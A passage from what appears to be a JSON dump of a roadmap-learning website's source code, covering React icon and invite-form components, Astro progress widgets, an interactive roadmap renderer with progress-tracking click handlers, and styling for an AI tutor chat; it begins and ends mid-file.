c8.787,6.937,21.186,6.937,29.973,0l79.417-62.698C221.564,107.071,217.824,103.872,213.336,103.872z\"\n      />\n      <path\n        fill=\"#f1f2f2\"\n        d=\"M203.33,73.49v52.88l-60.34,47.64c-8.789,6.939-21.191,6.939-29.98,0l-60.34-47.64V73.49 c0-4.418,3.582-8,8-8h134.66C199.748,65.49,203.33,69.072,203.33,73.49z\"\n      />\n      <g>\n        <path\n          fill=\"#fff\"\n          d=\"M58.67,125.46c-1.101,0-2-0.9-2-2V73.49c0-2.2,1.8-4,4-4h106.89c1.101,0,1.99,0.9,1.99,2s-0.89,2-1.99,2 H60.67v49.97C60.67,124.56,59.77,125.46,58.67,125.46z M175.55,73.49c-1.1,0-2-0.9-2-2s0.9-2,2-2c1.11,0,2,0.9,2,2 S176.66,73.49,175.55,73.49z\"\n        />\n      </g>\n      <g>\n        <path\n          fill=\"#e6e7e8\"\n          d=\"M195.33,65.49h-2v50.88l-60.34,47.64c-8.789,6.939-21.191,6.939-29.98,0l-50.34-39.745v2.105l60.34,47.64 c8.789,6.939,21.191,6.939,29.98,0l60.34-47.64V73.49C203.33,69.072,199.748,65.49,195.33,65.49z\"\n        />\n      </g>\n      <g>\n        <path\n          fill=\"#d1d3d4\"\n          d=\"M197.9,65.92c0.274,0.808,0.43,1.67,0.43,2.57v52.88l-60.34,47.64c-8.789,6.939-21.191,6.939-29.98,0 l-55.34-43.692v1.052l60.34,47.64c8.789,6.939,21.191,6.939,29.98,0l60.34-47.64V73.49 C203.33,69.972,201.056,66.991,197.9,65.92z\"\n        />\n      </g>\n      <g>\n        <path\n          fill=\"#d1d3d4\"\n          d=\"M109.036,99.997H80.422c-1.431,0-2.591-1.16-2.591-2.591v0c0-1.431,1.16-2.591,2.591-2.591h28.614 c1.431,0,2.591,1.16,2.591,2.591v0C111.627,98.836,110.467,99.997,109.036,99.997z\"\n        />\n        <path\n          fill=\"#d1d3d4\"\n          d=\"M175.578,124.03H80.422c-1.431,0-2.591-1.16-2.591-2.591v0c0-1.431,1.16-2.591,2.591-2.591h95.156 c1.431,0,2.591,1.16,2.591,2.591v0C178.169,122.87,177.009,124.03,175.578,124.03z\"\n        />\n        <path\n          fill=\"#d1d3d4\"\n          d=\"M175.578,138.881H80.422c-1.431,0-2.591-1.16-2.591-2.591l0,0c0-1.431,1.16-2.591,2.591-2.591h95.156 c1.431,0,2.591,1.16,2.591,2.591l0,0C178.169,137.721,177.009,138.881,175.578,138.881z\"\n        />\n        <polygon\n          fill=\"#d1d3d4\"\n          points=\"156.425,163.403 99.575,163.403 106.139,168.585 149.861,168.585\"\n        />\n      </g>\n      <g>\n        <polygon\n          fill=\"#d1d3d4\"\n          points=\"175.236,148.551 80.764,148.551 87.328,153.733 168.672,153.733\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "src/components/ReactIcons/VideoIcon.tsx",
    "content": "type VideoIconProps = {\n  className: string;\n};\n\nexport function VideoIcon(props: VideoIconProps) {\n  const { className } = props;\n\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      fill=\"none\"\n      viewBox=\"0 0 24 24\"\n      strokeWidth=\"1.5\"\n      stroke=\"currentColor\"\n      className={className}\n    >\n      <path\n        strokeLinecap=\"round\"\n        d=\"M15.75 10.5l4.72-4.72a.75.75 0 011.28.53v11.38a.75.75 0 01-1.28.53l-4.72-4.72M4.5 18.75h9a2.25 2.25 0 002.25-2.25v-9a2.25 2.25 0 00-2.25-2.25h-9A2.25 2.25 0 002.25 7.5v9a2.25 2.25 0 002.25 2.25z\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "src/components/ReactIcons/WarningIcon.tsx",
    "content": "type WarningIconProps = {\n  additionalClasses?: string;\n};\n\nexport function WarningIcon(props: WarningIconProps) {\n  const { additionalClasses = 'mr-2 top-[0.5px] w-[20px] h-[20px]' } = props;\n\n  return (\n    <svg\n      width=\"24\"\n      height=\"24\"\n      viewBox=\"0 0 24 24\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      className={`relative ${additionalClasses}`}\n    >\n      <path\n        d=\"M21.7304 18.0002L13.7304 4.00022C13.556 3.69243 13.303 3.43641 12.9973 3.25829C12.6917 3.08017 12.3442 2.98633 11.9904 2.98633C11.6366 2.98633 11.2892 3.08017 10.9835 3.25829C10.6778 3.43641 10.4249 3.69243 10.2504 4.00022L2.25042 18.0002C2.0741 18.3056 1.98165 18.6521 1.98243 19.0047C1.98321 19.3573 2.0772 19.7035 2.25486 20.008C2.43253 20.3126 2.68757 20.5648 2.99411 20.7391C3.30066 20.9133 3.64783 21.0034 4.00042 21.0002H20.0004C20.3513 20.9999 20.6959 20.9072 20.9997 20.7315C21.3035 20.5558 21.5556 20.3033 21.7309 19.9993C21.9062 19.6954 21.9985 19.3506 21.9984 18.9997C21.9983 18.6488 21.9059 18.3041 21.7304 18.0002Z\"\n        fill=\"currentColor\"\n        stroke=\"currentColor\"\n        strokeWidth=\"2\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n      />\n      <path\n        d=\"M12 9V13\"\n        stroke=\"white\"\n        strokeWidth=\"2\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n      />\n      <path\n        d=\"M12 17H12.01\"\n        stroke=\"white\"\n        strokeWidth=\"2\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "src/components/RelatedRoadmaps.astro",
    "content": "---\nimport { Map } from 'lucide-react';\nimport { listOfficialRoadmaps } from '../queries/official-roadmap';\n\nexport interface Props {\n  relatedRoadmaps: string[];\n}\n\nconst { relatedRoadmaps } = Astro.props;\n\nconst allRoadmaps = await listOfficialRoadmaps();\nconst relatedRoadmapsDetails = allRoadmaps.filter((roadmap) =>\n  relatedRoadmaps.includes(roadmap.slug),\n);\n---\n\n{\n  relatedRoadmaps.length && (\n    <div class:list={['border-t bg-gray-100']}>\n      <div class='container'>\n        <div class='relative -top-5 flex justify-between'>\n          <span class='text-md flex items-center rounded-md border bg-white px-3 py-1 font-medium'>\n            <Map className='text-black mr-1.5' size='17px' />\n            Related <span class='hidden sm:inline'>Roadmaps</span>\n          </span>\n          <a\n            href='/roadmaps'\n            class='text-md rounded-md border bg-white px-3 py-1 font-medium hover:bg-gray-50'\n          >\n            <span class='hidden sm:inline'>All Roadmaps &rarr;</span>\n            <span class='inline sm:hidden'>More &rarr;</span>\n          </a>\n        </div>\n\n        <div class='flex flex-col gap-1 pb-8'>\n          {relatedRoadmapsDetails.map((relatedRoadmap) => (\n            <a\n              href={`/${relatedRoadmap.slug}`}\n              class='flex flex-col gap-0.5 rounded-md border bg-white px-3.5 py-2 hover:bg-gray-50 sm:flex-row sm:gap-0'\n            >\n              <span class='inline-block min-w-[195px] font-medium'>\n                {relatedRoadmap.title.card}\n              </span>\n              <span class='text-gray-500'>{relatedRoadmap.description}</span>\n            </a>\n          ))}\n        </div>\n      </div>\n    </div>\n  )\n}\n"
  },
  {
    "path": "src/components/ResourceProgressStats.astro",
    "content": "---\nimport type { ResourceType } from '../lib/resource-progress';\nimport AstroIcon from './AstroIcon.astro';\nimport { ProgressShareButton } from './UserProgress/ProgressShareButton';\nexport interface Props {\n  resourceId: string;\n  resourceType: ResourceType;\n}\n\nconst { resourceId, resourceType } = Astro.props;\n---\n\n<div\n  data-progress-nums-container\n  class:list={[\n    'striped-loader relative flex items-center justify-between rounded-md bg-white px-2 sm:px-2.5 py-2 sm:py-2.5',\n  ]}\n>\n  <p\n    class='flex text-xs sm:text-sm opacity-0 transition-opacity duration-300'\n    data-progress-nums\n  >\n    <span\n      class='mr-2.5 hidden rounded-xs bg-yellow-200 px-1 py-0.5 text-xs font-medium uppercase text-yellow-900 sm:block'\n    >\n      <span data-progress-percentage>0</span>% Done\n    </span>\n\n    <span>\n      <span data-progress-done>0</span> of <span data-progress-total>0</span> Done\n    </span>\n  </p>\n\n  <div\n    class='flex items-center gap-3 opacity-0 transition-opacity duration-300'\n    data-progress-nums\n  >\n    <ProgressShareButton\n      resourceId={resourceId}\n      resourceType={resourceType}\n      client:only='react'\n    />\n    <button\n      data-popup='progress-help'\n      class='hidden items-center gap-1 text-sm font-medium text-gray-500 opacity-0 transition-opacity hover:text-black sm:flex'\n      data-progress-nums\n    >\n      <AstroIcon icon='question' />\n      Track Progress\n    </button>\n  </div>\n</div>\n"
  },
  {
    "path": "src/components/RespondInviteForm.tsx",
    "content": "import { useEffect, useState } from 'react';\nimport { httpGet, httpPatch } from '../lib/http';\nimport { pageProgressMessage } from '../stores/page';\nimport type { TeamDocument } from './CreateTeam/CreateTeamForm';\nimport type { AllowedRoles } from './CreateTeam/RoleDropdown';\nimport type { AllowedMemberStatus } from './TeamDropdown/TeamDropdown';\nimport { isLoggedIn } from '../lib/jwt';\nimport { showLoginPopup } from '../lib/popup';\nimport { getUrlParams } from '../lib/browser';\nimport { ErrorIcon2 } from './ReactIcons/ErrorIcon2';\nimport { BuildingIcon } from './ReactIcons/BuildingIcon';\n\ntype InvitationResponse = {\n  team: TeamDocument;\n  invite: {\n    _id?: string;\n    userId?: string;\n    invitedEmail?: string;\n    teamId: string;\n    role: AllowedRoles;\n    status: AllowedMemberStatus;\n    createdAt: Date;\n    updatedAt: Date;\n  };\n};\n\nexport function RespondInviteForm() {\n  const { i: inviteId } = getUrlParams();\n\n  const [isLoadingInvite, setIsLoadingInvite] = useState(true);\n  const [error, setError] = useState('');\n  const [invite, setInvite] = useState<InvitationResponse>();\n  const isAuthenticated = isLoggedIn();\n\n  async function loadInvitation(inviteId: string) {\n    const { response, error } = await httpGet<InvitationResponse>(\n      `${import.meta.env.PUBLIC_API_URL}/v1-get-invitation/${inviteId}`,\n    );\n    if (error || !response) {\n      setError(error?.message || 'Something went wrong');\n      return;\n    }\n\n    setInvite(response);\n  }\n\n  useEffect(() => {\n    if (inviteId) {\n      loadInvitation(inviteId).finally(() => {\n        pageProgressMessage.set('');\n        setIsLoadingInvite(false);\n      });\n    } else {\n      setIsLoadingInvite(false);\n      setError('Missing invite ID in URL');\n      pageProgressMessage.set('');\n    }\n  }, [inviteId]);\n\n  async function respondInvitation(status: 'accept' | 'reject') {\n    pageProgressMessage.set('Please wait...');\n    setError('');\n    const { response, error } = await httpPatch<{ teamId: string }>(\n      `${import.meta.env.PUBLIC_API_URL}/v1-respond-invite/${inviteId}`,\n      {\n        status,\n      },\n    );\n    if (error || !response) {\n      setError(error?.message || 'Something went wrong');\n      return;\n    }\n\n    if (status === 'reject') {\n      window.location.href = '/';\n      return;\n    }\n    window.location.href = `/teams/${response.teamId}/activity`;\n  }\n\n  if (isLoadingInvite) {\n    return null;\n  }\n\n  if (!invite) {\n    return (\n      <div className=\"container text-center\">\n        <ErrorIcon2 className=\"mx-auto mt-24 mb-4 w-20 opacity-20\" />\n\n        <h2 className={'mb-1 text-2xl font-bold'}>Error</h2>\n        <p className=\"mb-4 text-base leading-6 text-gray-600\">\n          {error || 'There was a problem, please try again.'}\n        </p>\n\n        <div>\n          <a\n            href=\"/\"\n            className=\"grow cursor-pointer rounded-lg bg-gray-200 px-3 py-2 text-center\"\n          >\n            Back to home\n          </a>\n        </div>\n      </div>\n    );\n  }\n\n  return (\n    <div className=\"container text-center\">\n      <BuildingIcon className=\"mx-auto mt-24 mb-4 h-20 w-20 opacity-20\" />\n\n      <h2 className={'mb-1 text-2xl font-bold'}>Join Team</h2>\n      <p className=\"mb-3 text-base leading-6 text-gray-600\">\n        You have been invited to join the team{' '}\n        <strong id=\"team-name\">{invite?.team?.name}</strong>.\n      </p>\n\n      {!isAuthenticated && (\n        <div className=\"mx-auto w-full duration-500 sm:max-w-md\">\n          <div className=\"flex w-full items-center gap-2\">\n            <button\n              onClick={() => showLoginPopup()}\n              data-popup=\"login-popup\"\n              type=\"button\"\n              className=\"grow cursor-pointer rounded-lg bg-gray-200 px-3 py-2 text-center\"\n            >\n              Login to respond\n            </button>\n          </div>\n        </div>\n      )}\n\n      {isAuthenticated && (\n        <div className={`mx-auto w-full max-w-md`}>\n          <div className=\"flex w-full items-center gap-2\">\n            <button\n              type=\"button\"\n              onClick={() =>\n                respondInvitation('accept').finally(() => {\n                  pageProgressMessage.set('');\n                })\n              }\n              className=\"grow cursor-pointer rounded-lg bg-gray-200 px-3 py-2 text-center hover:bg-gray-300\"\n            >\n              Accept\n            </button>\n            <button\n              type=\"button\"\n              onClick={() =>\n                respondInvitation('reject').finally(() => {\n                  pageProgressMessage.set('');\n                })\n              }\n              className=\"grow cursor-pointer rounded-lg bg-red-500 px-3 py-2 text-white hover:bg-red-600 disabled:opacity-40\"\n            >\n              Reject\n            </button>\n          </div>\n\n          {error && (\n            <p className=\"mt-2 rounded-lg bg-red-100 p-2 text-red-700\">\n              {error}\n            </p>\n          )}\n        </div>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/RoadCard/Editor.tsx",
    "content": "import { useCopyText } from '../../hooks/use-copy-text';\nimport { CopyIcon } from 'lucide-react';\n\ntype EditorProps = {\n  title: string;\n  text: string;\n  onCopy?: () => void;\n};\n\nexport function Editor(props: EditorProps) {\n  const { text, title, onCopy } = props;\n\n  const { isCopied, copyText } = useCopyText();\n\n  return (\n    <div className=\"flex w-full grow flex-col overflow-hidden rounded-sm border border-gray-300 bg-gray-50\">\n      <div className=\"flex items-center justify-between gap-2 border-b border-gray-300 px-3 py-2\">\n        <span className=\"text-xs uppercase leading-none text-gray-400\">\n          {title}\n        </span>\n        <button\n          className=\"flex items-center\"\n          onClick={() => {\n            copyText(text);\n            onCopy?.();\n          }}\n        >\n          {isCopied && (\n            <span className=\"mr-1 text-xs leading-none text-gray-700\">\n              Copied!&nbsp;\n            </span>\n          )}\n\n          <CopyIcon className=\"inline-block h-4 w-4\" />\n        </button>\n      </div>\n      <textarea\n        className=\"no-scrollbar block h-12 w-full overflow-x-auto whitespace-nowrap bg-gray-200/70 p-3 text-sm text-gray-900 focus:bg-gray-50 focus:outline-0\"\n        readOnly\n        onClick={(e: any) => {\n          e.target.select();\n          copyText(e.target.value);\n          onCopy?.();\n        }}\n        value={text}\n      />\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/RoadmapAIChat/AIChatActionButtons.tsx",
    "content": "import { SettingsIcon, Trash2, type LucideIcon } from 'lucide-react';\n\ntype AIChatActionButtonProps = {\n  icon: LucideIcon;\n  label: string;\n  onClick: () => void;\n};\n\nfunction AIChatActionButton(props: AIChatActionButtonProps) {\n  const { icon: Icon, label, onClick } = props;\n\n  return (\n    <button\n      className=\"flex items-center gap-1 rounded-md border border-gray-200 px-2 py-1.5 text-xs hover:bg-gray-100\"\n      onClick={onClick}\n    >\n      <Icon className=\"size-3\" />\n      <span>{label}</span>\n    </button>\n  );\n}\n\ntype AIChatActionButtonsProps = {\n  onTellUsAboutYourSelf: () => void;\n  onClearChat: () => void;\n  messageCount: number;\n  showClearChat: boolean;\n};\n\nexport function AIChatActionButtons(props: AIChatActionButtonsProps) {\n  const { onTellUsAboutYourSelf, onClearChat, messageCount, showClearChat } =\n    props;\n\n  return (\n    <div className=\"flex gap-2 px-4 pt-2\">\n      <AIChatActionButton\n        icon={SettingsIcon}\n        label=\"Tell us about your self\"\n        onClick={onTellUsAboutYourSelf}\n      />\n      {showClearChat && messageCount > 0 && (\n        <AIChatActionButton\n          icon={Trash2}\n          label=\"Clear chat\"\n          onClick={onClearChat}\n        />\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/RoadmapAIChat/ChatRoadmapRenderer.css",
    "content": "svg text tspan {\n  -webkit-font-smoothing: antialiased;\n  -moz-osx-font-smoothing: grayscale;\n  text-rendering: optimizeSpeed;\n}\n\nsvg > g[data-type='topic'],\nsvg > g[data-type='subtopic'],\nsvg g[data-type='link-item'],\nsvg > g[data-type='button'],\nsvg > g[data-type='resourceButton'],\nsvg > g[data-type='todo-checkbox'],\nsvg > g[data-type='todo'],\nsvg > g[data-type='checklist'] > g[data-type='checklist-item'] > rect {\n  cursor: pointer;\n}\n\nsvg > g[data-type='topic']:hover > rect {\n  fill: var(--hover-color);\n}\n\nsvg > g[data-type='subtopic']:hover > rect {\n  fill: var(--hover-color);\n}\nsvg g[data-type='button']:hover,\nsvg g[data-type='link-item']:hover,\nsvg g[data-type='resourceButton']:hover,\nsvg g[data-type='todo-checkbox']:hover {\n  opacity: 0.8;\n}\n\nsvg g[data-type='checklist'] > g[data-type='checklist-item'] > rect:hover {\n  fill: #cbcbcb !important;\n}\n\nsvg .done rect {\n  fill: #cbcbcb !important;\n}\n\nsvg .done text,\nsvg .skipped text {\n  text-decoration: line-through;\n}\n\nsvg > g[data-type='topic'].learning > rect + text,\nsvg > g[data-type='topic'].done > rect + text {\n  fill: black;\n}\n\nsvg .done text[fill='#ffffff'] {\n  fill: black;\n}\n\nsvg > g[data-type='subtipic'].done > rect + text,\nsvg > g[data-type='subtipic'].learning > rect + text {\n  fill: #cbcbcb;\n}\n\nsvg .learning rect {\n  fill: #dad1fd !important;\n}\nsvg .learning text {\n  text-decoration: underline;\n}\n\nsvg .skipped rect {\n  fill: #496b69 !important;\n}\n"
  },
  {
    "path": "src/components/RoadmapAIChat/ChatRoadmapRenderer.tsx",
    "content": "import './ChatRoadmapRenderer.css';\n\nimport { lazy, useCallback, useEffect, useRef, useState } from 'react';\nimport {\n  updateResourceProgress,\n  type ResourceProgressType,\n  renderTopicProgress,\n} from '../../lib/resource-progress';\nimport { pageProgressMessage } from '../../stores/page';\nimport { useToast } from '../../hooks/use-toast';\nimport type { Edge, Node } from '@roadmapsh/editor';\nimport { isLoggedIn } from '../../lib/jwt';\nimport { showLoginPopup } from '../../lib/popup';\nimport { queryClient } from '../../stores/query-client';\nimport { userResourceProgressOptions } from '../../queries/resource-progress';\nimport { useQuery } from '@tanstack/react-query';\n\nconst Renderer = lazy(() =>\n  import('@roadmapsh/editor').then((mod) => ({\n    default: mod.Renderer,\n  })),\n);\n\ntype RoadmapNodeDetails = {\n  nodeId: string;\n  nodeType: string;\n  targetGroup: SVGElement;\n  title?: string;\n};\n\nfunction getNodeDetails(svgElement: SVGElement): RoadmapNodeDetails | null {\n  const targetGroup = (svgElement?.closest('g') as SVGElement) || {};\n\n  const nodeId = targetGroup?.dataset?.nodeId;\n  const nodeType = targetGroup?.dataset?.type;\n  const title = targetGroup?.dataset?.title;\n\n  if (!nodeId || !nodeType) {\n    return null;\n  }\n\n  return { nodeId, nodeType, targetGroup, title };\n}\n\nconst allowedNodeTypes = [\n  'topic',\n  'subtopic',\n  'button',\n  'link-item',\n  'resourceButton',\n  'todo',\n  'todo-checkbox',\n  'checklist-item',\n];\n\nexport type ChatRoadmapRendererProps = {\n  roadmapId: string;\n  nodes: Node[];\n  edges: Edge[];\n\n  onSelectTopic: (topicId: string, topicTitle: string) => void;\n};\n\nexport function ChatRoadmapRenderer(props: ChatRoadmapRendererProps) {\n  const { roadmapId, nodes = [], edges = [], onSelectTopic } = props;\n  const roadmapRef = useRef<HTMLDivElement>(null);\n\n  const toast = useToast();\n\n  const { data: userResourceProgressData } = useQuery(\n    userResourceProgressOptions('roadmap', roadmapId),\n    queryClient,\n  );\n\n  async function updateTopicStatus(\n    topicId: string,\n    newStatus: ResourceProgressType,\n  ) {\n    pageProgressMessage.set('Updating progress');\n    updateResourceProgress(\n      {\n        resourceId: roadmapId,\n        resourceType: 'roadmap',\n        topicId,\n      },\n      newStatus,\n    )\n      .then(() => {\n        renderTopicProgress(topicId, newStatus);\n        queryClient.invalidateQueries(\n          userResourceProgressOptions('roadmap', roadmapId),\n        );\n      })\n      .catch((err) => {\n        toast.error('Something went wrong, please try again.');\n        console.error(err);\n      })\n      .finally(() => {\n        pageProgressMessage.set('');\n      });\n\n    return;\n  }\n\n  const handleSvgClick = useCallback((e: MouseEvent) => {\n    const target = e.target as SVGElement;\n    const { nodeId, nodeType, targetGroup, title } =\n      getNodeDetails(target) || {};\n\n    if (!nodeId || !nodeType || !allowedNodeTypes.includes(nodeType)) {\n      return;\n    }\n\n    if (\n      nodeType === 'button' ||\n      nodeType === 'link-item' ||\n      nodeType === 'resourceButton'\n    ) {\n      const link = targetGroup?.dataset?.link || '';\n      const isExternalLink = link.startsWith('http');\n      if (isExternalLink) {\n        window.open(link, '_blank');\n      } else {\n        window.location.href = link;\n      }\n      return;\n    }\n\n    const isCurrentStatusLearning = targetGroup?.classList.contains('learning');\n    const isCurrentStatusSkipped = targetGroup?.classList.contains('skipped');\n\n    if (nodeType === 'todo-checkbox') {\n      e.preventDefault();\n      if (!isLoggedIn()) {\n        showLoginPopup();\n        return;\n      }\n\n      const newStatus = targetGroup?.classList.contains('done')\n        ? 'pending'\n        : 'done';\n      updateTopicStatus(nodeId, newStatus);\n      return;\n    }\n\n    if (e.shiftKey) {\n      e.preventDefault();\n      if (!isLoggedIn()) {\n        showLoginPopup();\n        return;\n      }\n\n      updateTopicStatus(\n        nodeId,\n        isCurrentStatusLearning ? 'pending' : 'learning',\n      );\n      return;\n    } else if (e.altKey) {\n      e.preventDefault();\n      if (!isLoggedIn()) {\n        showLoginPopup();\n        return;\n      }\n\n      updateTopicStatus(nodeId, isCurrentStatusSkipped ? 'pending' : 'skipped');\n      return;\n    }\n\n    // for the click on rect of checklist-item\n    if (nodeType === 'checklist-item' && target.tagName === 'rect') {\n      e.preventDefault();\n      if (!isLoggedIn()) {\n        showLoginPopup();\n        return;\n      }\n\n      const newStatus = targetGroup?.classList.contains('done')\n        ? 'pending'\n        : 'done';\n      updateTopicStatus(nodeId, newStatus);\n      return;\n    }\n\n    // we don't have the topic popup for checklist-item\n    if (nodeType === 'checklist-item') {\n      return;\n    }\n\n    if (!title || !nodeId) {\n      return;\n    }\n\n    onSelectTopic(nodeId, title);\n  }, []);\n\n  const handleSvgRightClick = useCallback((e: MouseEvent) => {\n    e.preventDefault();\n\n    const target = e.target as SVGElement;\n    const { nodeId, nodeType, targetGroup } = getNodeDetails(target) || {};\n    if (!nodeId || !nodeType || !allowedNodeTypes.includes(nodeType)) {\n      return;\n    }\n\n    if (nodeType === 'button') {\n      return;\n    }\n\n    if (!isLoggedIn()) {\n      showLoginPopup();\n      return;\n    }\n    const isCurrentStatusDone = targetGroup?.classList.contains('done');\n    updateTopicStatus(nodeId, isCurrentStatusDone ? 'pending' : 'done');\n  }, []);\n\n  useEffect(() => {\n    if (!roadmapRef?.current) {\n      return;\n    }\n    roadmapRef?.current?.addEventListener('click', handleSvgClick);\n    roadmapRef?.current?.addEventListener('contextmenu', handleSvgRightClick);\n\n    return () => {\n      roadmapRef?.current?.removeEventListener('click', handleSvgClick);\n      roadmapRef?.current?.removeEventListener(\n        'contextmenu',\n        handleSvgRightClick,\n      );\n    };\n  }, []);\n\n  return (\n    <Renderer\n      ref={roadmapRef}\n      roadmap={{ nodes, edges }}\n      onRendered={() => {\n        roadmapRef.current?.setAttribute('data-renderer', 'editor');\n\n        if (!userResourceProgressData) {\n          return;\n        }\n\n        const { done, learning, skipped } = userResourceProgressData;\n        done.forEach((topicId) => {\n          renderTopicProgress(topicId, 'done');\n        });\n\n        learning.forEach((topicId) => {\n          renderTopicProgress(topicId, 'learning');\n        });\n\n        skipped.forEach((topicId) => {\n          renderTopicProgress(topicId, 'skipped');\n        });\n      }}\n    />\n  );\n}\n"
  },
  {
    "path": "src/components/RoadmapAIChat/RoadmapAIChat.css",
    "content": ".prose ul li > code,\n.prose ol li > code,\np code,\na > code,\nstrong > code,\nem > code,\nh1 > code,\nh2 > code,\nh3 > code {\n  background: #ebebeb !important;\n  color: currentColor !important;\n  font-size: 14px;\n  font-weight: normal !important;\n}\n\n.course-ai-content.course-content.prose ul li > code,\n.course-ai-content.course-content.prose ol li > code,\n.course-ai-content.course-content.prose p code,\n.course-ai-content.course-content.prose a > code,\n.course-ai-content.course-content.prose strong > code,\n.course-ai-content.course-content.prose em > code,\n.course-ai-content.course-content.prose h1 > code,\n.course-ai-content.course-content.prose h2 > code,\n.course-ai-content.course-content.prose h3 > code,\n.course-notes-content.prose ul li > code,\n.course-notes-content.prose ol li > code,\n.course-notes-content.prose p code,\n.course-notes-content.prose a > code,\n.course-notes-content.prose strong > code,\n.course-notes-content.prose em > code,\n.course-notes-content.prose h1 > code,\n.course-notes-content.prose h2 > code,\n.course-notes-content.prose h3 > code {\n  font-size: 12px !important;\n}\n\n.course-ai-content pre {\n  -ms-overflow-style: none;\n  scrollbar-width: none;\n}\n\n.course-ai-content pre::-webkit-scrollbar {\n  display: none;\n}\n\n.course-ai-content pre,\n.course-notes-content pre {\n  overflow: scroll;\n  font-size: 15px;\n  margin: 10px 0;\n}\n\n.prose ul li > code:before,\np > code:before,\n.prose ul li > code:after,\n.prose ol li > code:before,\np > code:before,\n.prose ol li > code:after,\n.course-content h1 > code:after,\n.course-content h1 > code:before,\n.course-content h2 > code:after,\n.course-content h2 > code:before,\n.course-content h3 > code:after,\n.course-content h3 > code:before,\n.course-content h4 > code:after,\n.course-content h4 > code:before,\np > code:after,\na > code:after,\na > code:before {\n  content: '' !important;\n}\n\n.course-content.prose ul li > code,\n.course-content.prose ol li > code,\n.course-content p code,\n.course-content a > code,\n.course-content strong > code,\n.course-content em > code,\n.course-content h1 > code,\n.course-content h2 > code,\n.course-content h3 > code,\n.course-content table code {\n  background: #f4f4f5 !important;\n  border: 1px solid #282a36 !important;\n  color: #282a36 !important;\n  padding: 2px 4px;\n  border-radius: 5px;\n  font-size: 16px !important;\n  white-space: pre;\n  font-weight: normal;\n}\n\n.course-content blockquote {\n  font-style: normal;\n}\n\n.course-content.prose blockquote h1,\n.course-content.prose blockquote h2,\n.course-content.prose blockquote h3,\n.course-content.prose blockquote h4 {\n  font-style: normal;\n  margin-bottom: 8px;\n}\n\n.course-content.prose ul li > code:before,\n.course-content p > code:before,\n.course-content.prose ul li > code:after,\n.course-content p > code:after,\n.course-content h2 > code:after,\n.course-content h2 > code:before,\n.course-content table code:before,\n.course-content table code:after,\n.course-content a > code:after,\n.course-content a > code:before,\n.course-content h2 code:after,\n.course-content h2 code:before,\n.course-content h2 code:after,\n.course-content h2 code:before {\n  content: '' !important;\n}\n\n.course-content table {\n  border-collapse: collapse;\n  border: 1px solid black;\n  border-radius: 5px;\n}\n\n.course-content table td,\n.course-content table th {\n  padding: 5px 10px;\n}\n\n.course-ai-content .chat-variable {\n  font-size: 12px;\n  font-weight: 500;\n  line-height: 1.5;\n  padding: 2px 4px;\n  border-radius: 8px;\n  background-color: #f0f5ff;\n  color: #2c5df1;\n}\n"
  },
  {
    "path": "src/components/RoadmapAIChat/RoadmapAIChat.tsx",
    "content": "import './RoadmapAIChat.css';\n\nimport { useQuery } from '@tanstack/react-query';\nimport type { Editor, JSONContent } from '@tiptap/core';\nimport {\n  Bot,\n  Frown,\n  HistoryIcon,\n  Loader2Icon,\n  LockIcon,\n  PauseCircleIcon,\n  SendIcon,\n  XIcon,\n} from 'lucide-react';\nimport {\n  Fragment,\n  useCallback,\n  useEffect,\n  useLayoutEffect,\n  useMemo,\n  useRef,\n  useState,\n} from 'react';\nimport { flushSync } from 'react-dom';\nimport {\n  roadmapAIChatRenderer,\n  useRoadmapAIChat,\n  type RoadmapAIChatHistoryType,\n} from '../../hooks/use-roadmap-ai-chat';\nimport { useToast } from '../../hooks/use-toast';\nimport { deleteUrlParam, getUrlParams } from '../../lib/browser';\nimport { cn } from '../../lib/classname';\nimport { lockBodyScroll } from '../../lib/dom';\nimport {\n  getTailwindScreenDimension,\n  type TailwindScreenDimensions,\n} from '../../lib/is-mobile';\nimport { isLoggedIn } from '../../lib/jwt';\nimport { showLoginPopup } from '../../lib/popup';\nimport { slugify } from '../../lib/slugger';\nimport { aiLimitOptions } from '../../queries/ai-course';\nimport { billingDetailsOptions } from '../../queries/billing';\nimport { chatHistoryOptions } from '../../queries/chat-history';\nimport { userResourceProgressOptions } from '../../queries/resource-progress';\nimport { roadmapJSONOptions } from '../../queries/roadmap';\nimport { roadmapTreeMappingOptions } from '../../queries/roadmap-tree';\nimport { userRoadmapPersonaOptions } from '../../queries/user-persona';\nimport { queryClient } from '../../stores/query-client';\nimport { UpgradeAccountModal } from '../Billing/UpgradeAccountModal';\nimport { ChatEditor } from '../ChatEditor/ChatEditor';\nimport { TopicDetail } from '../TopicDetail/TopicDetail';\nimport { ChatPersona } from '../UserPersona/ChatPersona';\nimport { UpdatePersonaModal } from '../UserPersona/UpdatePersonaModal';\nimport { AIChatActionButtons } from './AIChatActionButtons';\nimport { ChatRoadmapRenderer } from './ChatRoadmapRenderer';\nimport { RoadmapAIChatCard } from './RoadmapAIChatCard';\nimport { RoadmapAIChatHeader } from './RoadmapAIChatHeader';\nimport { TutorIntroMessage } from './TutorIntroMessage';\n\nexport type RoadmapAIChatTab = 'chat' | 'topic';\n\ntype RoadmapAIChatProps = {\n  roadmapId: string;\n};\n\nexport function RoadmapAIChat(props: RoadmapAIChatProps) {\n  const { roadmapId } = props;\n\n  const toast = useToast();\n  const editorRef = useRef<Editor | null>(null);\n  const scrollareaRef = useRef<HTMLDivElement>(null);\n\n  const [deviceType, setDeviceType] = useState<TailwindScreenDimensions>();\n\n  useLayoutEffect(() => {\n    setDeviceType(getTailwindScreenDimension());\n  }, []);\n\n  const [isChatMobileVisible, setIsChatMobileVisible] = useState(false);\n  const [isLoading, setIsLoading] = useState(true);\n  const [showUpgradeModal, setShowUpgradeModal] = useState(false);\n  const [selectedTopicId, setSelectedTopicId] = useState<string | null>(null);\n  const [selectedTopicTitle, setSelectedTopicTitle] = useState<string | null>(\n    null,\n  );\n  const [activeTab, setActiveTab] = useState<RoadmapAIChatTab>('chat');\n  const 